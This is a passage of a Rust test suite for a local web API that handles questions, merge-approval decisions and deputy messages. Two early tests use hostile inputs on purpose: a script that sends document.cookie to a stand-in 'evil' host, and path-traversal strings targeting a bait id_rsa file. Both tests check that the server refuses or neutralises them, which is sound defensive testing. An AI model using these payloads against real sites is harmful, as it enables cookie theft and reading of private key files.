10359 async fn an_html_asset_is_never_served_as_html() {
10360 let fx = Fixture::start().await;
10361 let id = panel(
10362 &fx,
10363 "<p>see the notes</p>",
10364 &[
10365 (
10366 "notes.html",
10367 b"<script>fetch('http://evil/'+document.cookie)</script>",
10368 ),
10369 ("hook.js", b"fetch('http://evil/')"),
10370 ("data.json", b"{}"),
10371 ("HEADLINE.TXT", b"plain"),
10372 ],
10373 );
10374
10375 for name in ["notes.html", "hook.js", "data.json"] {
10376 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10377 assert_eq!(res.status, 200, "{name}: {}", res.body);
10378 assert_eq!(
10383 res.header("content-type"),
10384 Some("application/octet-stream"),
10385 "{name} must not be a type the browser will execute or render"
10386 );
10387 }
10388 let txt = fx
10391 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10392 .await;
10393 assert_eq!(
10394 txt.header("content-type"),
10395 Some("text/plain; charset=utf-8")
10396 );
10397 }
10398
10399 #[tokio::test]
10400 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10401 let fx = Fixture::start().await;
10402 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10403 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10407
10408 for encoded in [
10415 "%2e%2e%2fid_rsa",
10416 "..%2fid_rsa",
10417 "..%5cid_rsa",
10418 "%2e%2e%5cid_rsa",
10419 "diff%00.svg",
10420 "..",
10421 ".hidden",
10422 "%2e%2e%2f%2e%2e%2fid_rsa",
10423 ] {
10424 let res = fx
10425 .get(&format!("/api/questions/{id}/asset/{encoded}"))
10426 .await;
10427 assert_eq!(
10428 res.status, 400,
10429 "`{encoded}` has to be refused by name, not looked up: {}",
10430 res.body
10431 );
10432 assert!(res.json()["error"].is_string(), "{}", res.body);
10433 }
10434
10435 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10441 let res = fx
10442 .get(&format!("/api/questions/{id}/asset/{literal}"))
10443 .await;
10444 assert_eq!(
10445 res.status, 404,
10446 "`{literal}` must not match the asset route at all: {}",
10447 res.body
10448 );
10449 }
10450 }
10451
10452 #[tokio::test]
10453 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10454 let fx = Fixture::start().await;
10455 let plain = ask(&fx, "Which backend?", &["SQLite"]);
10456 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10457
10458 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10462 assert_eq!(none.status, 404, "{}", none.body);
10463 assert!(none.json()["error"].is_string(), "{}", none.body);
10464 assert_eq!(
10465 fx.head(&format!("/api/questions/{plain}/panel"))
10466 .await
10467 .status,
10468 404,
10469 "the preflight is the only way the client can learn this"
10470 );
10471
10472 let missing = fx
10474 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10475 .await;
10476 assert_eq!(missing.status, 404, "{}", missing.body);
10477 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10478
10479 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10481 assert_eq!(
10482 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10483 404
10484 );
10485 }
10486
10487 #[tokio::test]
10488 async fn a_run_with_an_open_question_reads_as_waiting() {
10489 let fx = Fixture::start().await;
10490 let run = "20260902-000000-beef".to_owned();
10491 write_run(&fx.runs(), &run, RunStatus::Implementing);
10492
10493 let before = fx.get("/api/runs").await.json();
10494 assert_eq!(before[0]["waiting"], false, "{before}");
10495
10496 let store = fx.questions();
10497 let mut q = Question::new(
10498 run.clone(),
10499 "implement".to_owned(),
10500 "impl-A".to_owned(),
10501 "Which backend?".to_owned(),
10502 String::new(),
10503 vec!["SQLite".to_owned()],
10504 );
10505 store.put(&mut q).expect("put");
10506
10507 let during = fx.get("/api/runs").await.json();
10508 assert_eq!(during[0]["waiting"], true, "{during}");
10509
10510 q.answer(Answer::Choice("SQLite".to_owned()))
10513 .expect("answer");
10514 store.put(&mut q).expect("put");
10515 let after = fx.get("/api/runs").await.json();
10516 assert_eq!(after[0]["waiting"], false, "{after}");
10517 }
10518
10519 #[tokio::test]
10520 async fn an_open_question_is_listed_and_counted_by_health() {
10521 let fx = Fixture::start().await;
10522 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10523
10524 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10525 let listed = fx.get("/api/questions").await.json();
10526 assert_eq!(listed.as_array().expect("array").len(), 1);
10527 assert_eq!(listed[0]["id"], id);
10528 assert_eq!(listed[0]["status"], "open");
10529 assert_eq!(listed[0]["choices"][1], "Redis");
10530 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10533 }
10534
10535 fn obsolete_approval_state() -> RunState {
10536 let mut state = crate::land::tests::repair_state(true, true);
10537 state.pr = Some(crate::run::PrRecord {
10538 url: "https://github.com/example/repo/pull/42".into(),
10539 number: 42,
10540 state: "open".into(),
10541 checks: "green".into(),
10542 round: 1,
10543 rounds: 4,
10544 red_at_merge: Vec::new(),
10545 });
10546 state
10547 }
10548
10549 #[tokio::test]
10550 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10551 for owner in ["missing", "current", "completed", "later"] {
10552 let fx = Fixture {
10553 home: TempDir::new().unwrap(),
10554 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10555 };
10556 let mut state = obsolete_approval_state();
10557 state.status = RunStatus::Landing;
10558 state.parked = true;
10559 state.driver_exited = true;
10560 let mut q = Question::new(
10561 state.id.clone(),
10562 crate::land::APPROVAL_NODE.into(),
10563 "land".into(),
10564 "Old approval".into(),
10565 "Original evidence".into(),
10566 vec!["merge".into(), "hold".into()],
10567 );
10568 state.land_approval = Some(crate::run::LandApproval {
10569 question: q.id.clone(),
10570 head: "head".into(),
10571 });
10572 state.save_under(fx.home.path()).unwrap();
10573 let stale = state.clone();
10574 fx.questions().put(&mut q).unwrap();
10575 let mut task = Task::new(
10576 "Owner".into(),
10577 "Original instruction".into(),
10578 state.repo.clone(),
10579 Source::Human,
10580 );
10581 task.runs.push(state.id.clone());
10582 task.status = if owner == "completed" {
10583 TaskStatus::Done
10584 } else {
10585 TaskStatus::Parked
10586 };
10587 if owner == "later" {
10588 task.runs.push("later-run".into());
10589 }
10590 if owner != "missing" {
10591 fx.queue().put(&mut task).unwrap();
10592 }
10593 let ui = Arc::new(Ui::new(
10594 fx.queue(),
10595 fx.questions(),
10596 fx.talks(),
10597 fx.runs(),
10598 fx.home.path().into(),
10599 state.repo.clone(),
10600 ));
10601 let response = question_answer(
10602 State(ui),
10603 Path(q.id.clone()),
10604 Ok(Json(NewAnswer {
10605 choice: Some(crate::merge_decision::DISMISS.into()),
10606 text: None,
10607 })),
10608 )
10609 .await
10610 .unwrap();
10611 assert_eq!(
10612 response.0.question.resolution().as_deref(),
10613 Some(crate::merge_decision::DISMISS)
10614 );
10615 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10616 assert_eq!(disk.status, RunStatus::Superseded);
10617 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10618 assert!(!crate::merge_decision::resumable_hold(&disk));
10619 assert_eq!(
10620 serde_json::to_value(&disk.pr).unwrap(),
10621 serde_json::to_value(&stale.pr).unwrap()
10622 );
10623 assert_eq!(fx.questions().count_open(), 0);
10624 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10625 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10626 if owner == "missing" {
10627 assert!(fx.queue().list().is_empty());
10628 } else {
10629 let after = fx.queue().get(&task.id).unwrap();
10630 assert_eq!(
10631 after.status,
10632 if owner == "current" {
10633 TaskStatus::Done
10634 } else {
10635 task.status
10636 }
10637 );
10638 assert_eq!(after.runs, task.runs);
10639 assert_eq!(after.instruction, task.instruction);
10640 assert_eq!(after.action_applied(&q.id), owner == "current");
10641 }
10642 }
10643 }
10644
10645 #[tokio::test]
10646 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10647 let fx = Fixture::start().await;
10648 let mut state = obsolete_approval_state();
10649 state.status = RunStatus::Landing;
10650 state.parked = true;
10651 state.driver_exited = true;
10652 let mut q = Question::new(
10653 state.id.clone(),
10654 crate::land::APPROVAL_NODE.into(),
10655 "land".into(),
10656 "Superseded PR approval".into(),
10657 "Original review evidence".into(),
10658 vec!["merge".into(), "hold".into()],
10659 );
10660 state.land_approval = Some(crate::run::LandApproval {
10661 question: q.id.clone(),
10662 head: "old-reviewed-head".into(),
10663 });
10664 state.save_under(fx.home.path()).unwrap();
10667 let stale_driver = state.clone();
10668 fx.questions().put(&mut q).unwrap();
10669 let path = fx
10670 .home
10671 .path()
10672 .join("questions")
10673 .join(format!("{}.json", q.id));
10674 let mut legacy = serde_json::to_value(&q).unwrap();
10675 legacy["schema"] = 9.into();
10676 legacy.as_object_mut().unwrap().remove("merge_target");
10677 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10678
10679 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10682 let answer_path = format!("/api/questions/{}/answer", q.id);
10683 let res = fx.post(&answer_path, Some(&body)).await;
10684 assert_eq!(res.status, 200, "{}", res.body);
10685 let disk = fx.questions().get(&q.id).unwrap();
10686 assert_eq!(
10687 disk.resolution().as_deref(),
10688 Some(crate::merge_decision::DISMISS)
10689 );
10690 assert!(disk.detail.starts_with("Original review evidence"));
10691 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10692 assert_eq!(retired.status, RunStatus::Superseded);
10693 assert_eq!(
10694 serde_json::to_value(&retired.pr).unwrap(),
10695 serde_json::to_value(&state.pr).unwrap()
10696 );
10697 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10698 assert!(!crate::merge_decision::resumable_hold(&retired));
10699 assert!(fx.queue().list().is_empty());
10700 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10701 let addr = Fixture::serve(
10703 fx.home.path(),
10704 PathBuf::from("/repo/magi"),
10705 launch_idle,
10706 None,
10707 )
10708 .await;
10709 let reconnected = Fixture {
10710 home: fx.home,
10711 addr,
10712 };
10713 let listed = reconnected.get("/api/questions").await.json();
10714 assert!(
10715 listed
10716 .as_array()
10717 .unwrap()
10718 .iter()
10719 .all(|q| q["status"] != "open")
10720 );
10721 assert_eq!(listed[0]["id"], q.id, "history remains available");
10722 assert_eq!(
10723 reconnected.get("/api/health").await.json()["questions_open"],
10724 0
10725 );
10726 assert_eq!(
10727 reconnected
10728 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10729 .await
10730 .status,
10731 409
10732 );
10733 assert!(
10735 reconnected
10736 .questions()
10737 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10738 .is_err()
10739 );
10740 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10743 }
10744
10745 #[tokio::test]
10746 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10747 let fx = Fixture::start().await;
10748 let mut state = obsolete_approval_state();
10749 state.status = RunStatus::Landing;
10750 state.driver_exited = true;
10751 let mut q = Question::new(
10752 state.id.clone(),
10753 crate::land::APPROVAL_NODE.into(),
10754 "land".into(),
10755 "Obsolete approval".into(),
10756 String::new(),
10757 vec!["merge".into(), "hold".into()],
10758 );
10759 state.land_approval = Some(crate::run::LandApproval {
10760 question: q.id.clone(),
10761 head: "head".into(),
10762 });
10763 state.save_under(fx.home.path()).unwrap();
10764 fx.questions().put(&mut q).unwrap();
10765 let mut task = Task::new(
10766 "Owner".into(),
10767 "Original instruction".into(),
10768 state.repo.clone(),
10769 Source::Human,
10770 );
10771 task.runs = vec![state.id.clone(), "later-run".into()];
10772 fx.queue().put(&mut task).unwrap();
10773 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10774 let claim = fx.queue().claim(&task.id).unwrap();
10775 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10776 let path = format!("/api/questions/{}/answer", q.id);
10777 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10778 assert!(fx.questions().get(&q.id).unwrap().status.open());
10779 drop(claim);
10780 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10781 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10782 assert!(fx.questions().get(&q.id).unwrap().status.open());
10783 drop(publication);
10784 state.driver_exited = false;
10786 state.driver_pid = None;
10787 state.save_under(fx.home.path()).unwrap();
10788 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10789 state.driver_exited = true;
10790 state.land_armed_head = Some("head".into());
10791 state.save_under(fx.home.path()).unwrap();
10792 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10793 state.land_armed_head = None;
10794 state.save_under(fx.home.path()).unwrap();
10795 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10796 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10797 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10798 }
10799
10800 #[tokio::test]
10801 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10802 let fx = Fixture::start().await;
10803 let mut state = obsolete_approval_state();
10804 state.status = RunStatus::Landing;
10805 state.driver_exited = true;
10806 let mut q = Question::new(
10807 state.id.clone(),
10808 crate::land::APPROVAL_NODE.into(),
10809 "land".into(),
10810 "Obsolete approval".into(),
10811 String::new(),
10812 vec!["merge".into(), "hold".into()],
10813 );
10814 state.land_approval = Some(crate::run::LandApproval {
10815 question: q.id.clone(),
10816 head: "head".into(),
10817 });
10818 state.save_under(fx.home.path()).unwrap();
10819 fx.questions().put(&mut q).unwrap();
10820 let mut task = Task::new(
10821 "Owner".into(),
10822 "Original instruction".into(),
10823 state.repo.clone(),
10824 Source::Human,
10825 );
10826 task.runs.push(state.id.clone());
10827 task.status = TaskStatus::Parked;
10828 fx.queue().put(&mut task).unwrap();
10829 state.merge_decision = Some(crate::merge_decision::Decision {
10832 question: q.id.clone(),
10833 target: crate::merge_decision::Target {
10834 pr: state.pr.as_ref().unwrap().url.clone(),
10835 head: "head".into(),
10836 language: "ja".into(),
10837 },
10838 choice: crate::merge_decision::DISMISS.into(),
10839 closed: false,
10840 replacement_run: None,
10841 replacement_pr: None,
10842 });
10843 state.status = RunStatus::Superseded;
10844 state.save_under(fx.home.path()).unwrap();
10845 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10846 let path = format!("/api/questions/{}/answer", q.id);
10847 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10848 let done = fx.queue().get(&task.id).unwrap();
10849 assert_eq!(done.status, TaskStatus::Done);
10850 assert_eq!(done.runs, task.runs);
10851 assert_eq!(done.instruction, task.instruction);
10852 assert!(done.action_applied(&q.id));
10853 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10854 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10855 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10856 }
10857
10858 #[tokio::test]
10859 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10860 let fx = Fixture {
10861 home: TempDir::new().unwrap(),
10862 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10863 };
10864 for choice in [
10865 crate::land::HOLD,
10866 crate::land::REPAIR,
10867 crate::land::APPROVE,
10868 crate::merge_decision::WITHDRAW,
10869 "reimplement:beta",
10870 ] {
10871 let mut q = Question::new(
10872 "old-run".into(),
10873 crate::land::APPROVAL_NODE.into(),
10874 "land".into(),
10875 "Decision".into(),
10876 "Review findings".into(),
10877 vec![
10878 "merge".into(),
10879 "hold".into(),
10880 crate::land::REPAIR.into(),
10881 crate::merge_decision::WITHDRAW.into(),
10882 "reimplement:beta".into(),
10883 ],
10884 );
10885 q.merge_target = Some(crate::merge_decision::Target {
10886 pr: "https://github.com/example/repo/pull/42".into(),
10887 head: "exact-reviewed-head".into(),
10888 language: "ja".into(),
10889 });
10890 q.consult = Some(ask::ChatConsult {
10891 talk: "another-conversation".into(),
10892 at: jiff::Timestamp::now(),
10893 });
10894 fx.questions().put(&mut q).unwrap();
10895 let ui = Arc::new(Ui::new(
10896 fx.queue(),
10897 fx.questions(),
10898 fx.talks(),
10899 fx.runs(),
10900 fx.home.path().into(),
10901 std::path::PathBuf::from("."),
10902 ));
10903 let response = question_answer(
10904 State(ui.clone()),
10905 Path(q.id.clone()),
10906 Ok(Json(NewAnswer {
10907 choice: Some(choice.into()),
10908 text: None,
10909 })),
10910 )
10911 .await
10912 .unwrap();
10913 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10914 let disk = fx.questions().get(&q.id).unwrap();
10915 assert_eq!(disk.merge_target, q.merge_target);
10916 assert_eq!(disk.consult, q.consult);
10917 assert!(
10918 disk.answer_authority.is_none(),
10919 "a direct owner card is its own decision"
10920 );
10921 assert_eq!(disk.resolution().as_deref(), Some(choice));
10922 assert!(
10923 question_answer(
10924 State(ui),
10925 Path(q.id.clone()),
10926 Ok(Json(NewAnswer {
10927 choice: Some("merge".into()),
10928 text: None
10929 }))
10930 )
10931 .await
10932 .is_err(),
10933 "an already settled decision cannot turn into merge approval"
10934 );
10935 }
10936 }
10937
10938 #[tokio::test]
10939 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10940 let fx = Fixture {
10941 home: TempDir::new().unwrap(),
10942 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10943 };
10944 let mut state = crate::land::tests::repair_state(true, true);
10945 state.status = RunStatus::Landing;
10946 state.parked = true;
10947 state.driver_exited = true;
10948 let mut task = Task::new(
10949 "Existing PR owner".into(),
10950 state.instruction.clone(),
10951 state.repo.clone(),
10952 Source::Human,
10953 );
10954 task.runs.push(state.id.clone());
10955 task.status = TaskStatus::Parked;
10956 fx.queue().put(&mut task).unwrap();
10957 let mut q = Question::new(
10958 state.id.clone(),
10959 crate::land::APPROVAL_NODE.into(),
10960 "land".into(),
10961 "Contested merge".into(),
10962 "Original evidence".into(),
10963 vec!["merge".into(), "hold".into()],
10964 );
10965 state.land_approval = Some(crate::run::LandApproval {
10966 question: q.id.clone(),
10967 head: "reviewed-head".into(),
10968 });
10969 state.save_under(fx.home.path()).unwrap();
10970 fx.questions().put(&mut q).unwrap();
10971 task.hold_manual(Some("Pause this PR".into()));
10973 fx.queue().put(&mut task).unwrap();
10974 let ui = Arc::new(Ui::new(
10977 fx.queue(),
10978 fx.questions(),
10979 fx.talks(),
10980 fx.runs(),
10981 fx.home.path().to_path_buf(),
10982 state.repo.clone(),
10983 ));
10984 let response = question_answer(
10985 State(ui),
10986 Path(q.id.clone()),
10987 Ok(Json(NewAnswer {
10988 choice: Some(crate::land::REPAIR.into()),
10989 text: None,
10990 })),
10991 )
10992 .await
10993 .unwrap();
10994 assert_eq!(response.0.question.id, q.id);
10995 let upgraded = fx.questions().get(&q.id).unwrap();
10996 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10997 assert!(upgraded.detail.starts_with("Original evidence"));
10998 let claim = fx.queue().claim(&task.id).unwrap();
10999 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11000 assert!(
11001 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11002 "an existing driver keeps its claim"
11003 );
11004 drop(claim);
11005 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11006 let resumed = fx.queue().get(&task.id).unwrap();
11007 assert_eq!(
11008 resumed
11009 .resume_override
11010 .as_ref()
11011 .unwrap()
11012 .pinned_run
11013 .as_deref(),
11014 Some(state.id.as_str())
11015 );
11016 assert!(resumed.status.runnable());
11017 assert_eq!(resumed.instruction, task.instruction);
11018 assert_eq!(resumed.runs, task.runs);
11019 assert!(resumed.action_applied(&q.id));
11020 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11021 assert_eq!(fx.queue().list().len(), 1);
11022 assert_eq!(
11023 fx.queue().get(&task.id).unwrap().resume_override,
11024 resumed.resume_override
11025 );
11026 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11027 assert!(
11028 disk.merge_repairs.is_empty(),
11029 "only the claimed run driver may execute repair"
11030 );
11031 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11032 }
11033
11034 #[tokio::test]
11035 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11036 let fx = Fixture::start().await;
11037 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11038 let path = format!("/api/questions/{id}/answer");
11039
11040 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11041 assert_eq!(res.status, 200, "{}", res.body);
11042 let body = res.json();
11043 assert_eq!(body["status"], "answered");
11044 assert_eq!(body["answer"]["choice"], "Redis");
11045
11046 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11050 assert_eq!(again.status, 409, "{}", again.body);
11051 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11052 }
11053
11054 #[tokio::test]
11055 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11056 let home = tempfile::tempdir().unwrap();
11057 let ui = delta_test_ui(home.path());
11058 let mut q = Question::new(
11059 "task".into(),
11060 crate::land::APPROVAL_NODE.into(),
11061 "land".into(),
11062 "Explain?".into(),
11063 String::new(),
11064 vec!["hold".into()],
11065 );
11066 q.deputy = Some(ask::Deputy::new("context".into()));
11067 ui.questions.put(&mut q).unwrap();
11068 let mut cfg = stub_config();
11069 cfg.daemon.max_deputies = 0;
11070 let mut status = crate::daemon::Status::new();
11071 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11072 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11073 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11074 let error = question_say(
11075 State(ui.clone()),
11076 Path(q.id.clone()),
11077 Ok(Json(NewSay {
11078 body: "Explain the findings".into(),
11079 })),
11080 )
11081 .await
11082 .unwrap_err();
11083 assert_eq!(
11084 error.text_reason,
11085 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11086 );
11087 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11088
11089 let mut text = Question::new(
11090 "task".into(),
11091 "ask".into(),
11092 "operator".into(),
11093 "Which name?".into(),
11094 String::new(),
11095 vec![],
11096 );
11097 ui.questions.put(&mut text).unwrap();
11098 let Json(view) = question_answer(
11099 State(ui.clone()),
11100 Path(text.id.clone()),
11101 Ok(Json(NewAnswer {
11102 choice: None,
11103 text: Some("chosen name".into()),
11104 })),
11105 )
11106 .await
11107 .unwrap();
11108 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11109 assert!(!ui.questions.get(&text.id).unwrap().status.open());
11110 }
11111
11112 #[tokio::test]
11113 async fn question_text_handler_admission_without_transport() {
11114 let home = tempfile::tempdir().unwrap();
11115 let ui = delta_test_ui(home.path());
11116 let mut q = Question::new(
11117 "task".into(),
11118 crate::land::APPROVAL_NODE.into(),
11119 "land".into(),
11120 "May this PR merge?".into(),
11121 String::new(),
11122 vec!["hold".into()],
11123 );
11124 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11125 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11126 ui.questions.put(&mut q).unwrap();
11127 let say = || {
11128 Ok(Json(NewSay {
11129 body: "Explain the findings".into(),
11130 }))
11131 };
11132 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11133 .await
11134 .unwrap_err();
11135 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11136 let response = rejected.into_response();
11137 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11138 .await
11139 .unwrap();
11140 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11141 assert_eq!(body["code"], "question_text_unavailable");
11142 assert_eq!(body["reason"], "deputy_exhausted");
11143 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11144 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11145 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11146 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11147 .await
11148 .unwrap();
11149 assert_eq!(view.text_delivery.state, "live");
11150 assert!(view.question.waiter.is_none());
11151 assert!(view.question.cwd.is_none());
11152 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11153 ui.questions.drop_lease(&q.id);
11154 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11155 .await
11156 .unwrap_err();
11157 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11158 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11159 let _ = question_answer(
11160 State(ui.clone()),
11161 Path(q.id.clone()),
11162 Ok(Json(NewAnswer {
11163 choice: Some("hold".into()),
11164 text: None,
11165 })),
11166 )
11167 .await
11168 .unwrap();
11169 assert_eq!(
11170 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11171 Some("hold")
11172 );
11173 }
11174
11175 #[tokio::test]
11176 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
11177 let fx = Fixture::start().await;
11178 let store = fx.questions();
11179 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
11180 store
11181 .update(&id, |q| {
11182 q.node = crate::land::APPROVAL_NODE.to_owned();
11183 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
11184 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11185 Ok(())
11186 })
11187 .unwrap();
11188 let path = format!("/api/questions/{id}/say");
11189 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11190 assert_eq!(refused.status, 422, "{}", refused.body);
11191 assert!(
11192 refused.json()["error"]
11193 .as_str()
11194 .unwrap()
11195 .contains("deputy_exhausted")
11196 );
11197 assert!(store.get(&id).unwrap().thread.is_empty());
11198
11199 store.beat(&id, ask::WaiterKind::Deputy);
11201 let view = fx.get("/api/questions").await.json();
11202 assert_eq!(view[0]["text_delivery"]["state"], "live");
11203 let accepted = fx
11204 .post(&path, Some(r#"{"body":"explain the findings"}"#))
11205 .await;
11206 assert_eq!(accepted.status, 200, "{}", accepted.body);
11207 let before = std::fs::read(store.path_of(&id)).unwrap();
11208
11209 store.drop_lease(&id);
11212 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11213 assert_eq!(refused.status, 422, "{}", refused.body);
11214 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11215 let held = fx
11216 .post(
11217 &format!("/api/questions/{id}/answer"),
11218 Some(r#"{"choice":"hold"}"#),
11219 )
11220 .await;
11221 assert_eq!(held.status, 200, "{}", held.body);
11222 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
11223 }
11224
11225 #[tokio::test]
11226 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
11227 let repo = tempfile::tempdir().unwrap();
11228 let mut cfg = stub_config();
11229 cfg.daemon.max_deputies = 0;
11230 std::fs::write(
11231 repo.path().join("magi.toml"),
11232 toml::to_string(&cfg).unwrap(),
11233 )
11234 .unwrap();
11235 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11236 let mut status = crate::daemon::Status::new();
11237 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11238 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
11239 let id = ask(&fx, "Explain?", &["hold"]);
11240 fx.questions()
11241 .update(&id, |q| {
11242 q.node = crate::land::APPROVAL_NODE.into();
11243 q.deputy = Some(ask::Deputy::new("context".into()));
11244 q.deputy.as_mut().unwrap().agent = "stub".into();
11245 Ok(())
11246 })
11247 .unwrap();
11248 cfg.daemon.max_deputies = 1;
11249 std::fs::write(
11250 repo.path().join("magi.toml"),
11251 toml::to_string(&cfg).unwrap(),
11252 )
11253 .unwrap();
11254 let view = fx.get("/api/questions").await.json();
11255 assert_eq!(view[0]["deputies_enabled"], true);
11256 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
11257 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
11258 let res = fx
11259 .post(
11260 &format!("/api/questions/{id}/say"),
11261 Some(r#"{"body":"Please explain"}"#),
11262 )
11263 .await;
11264 assert_eq!(res.status, 422, "{}", res.body);
11265 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
11266 }
11267
11268 #[tokio::test]
11269 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
11270 let fx = Fixture::start().await;
11271 let id = ask(&fx, "No seat", &[]);
11272 let store = fx.questions();
11273 let before = std::fs::read(store.path_of(&id)).unwrap();
11274 let res = fx
11275 .post(
11276 &format!("/api/questions/{id}/say"),
11277 Some(r#"{"body":"hello"}"#),
11278 )
11279 .await;
11280 assert_eq!(res.status, 422, "{}", res.body);
11281 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11282 let res = fx
11283 .post(
11284 &format!("/api/questions/{id}/answer"),
11285 Some(r#"{"text":"hello"}"#),
11286 )
11287 .await;
11288 assert_eq!(res.status, 200, "{}", res.body);
11289 assert_eq!(
11290 store.get(&id).unwrap().resolution().as_deref(),
11291 Some("hello")
11292 );
11293 }
11294
11295 #[tokio::test]
11296 async fn saying_something_appends_a_turn_without_answering() {
11297 let fx = Fixture::start().await;
11298 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11299 fx.questions().beat(&id, ask::WaiterKind::Asker);
11300 let path = format!("/api/questions/{id}/say");
11301
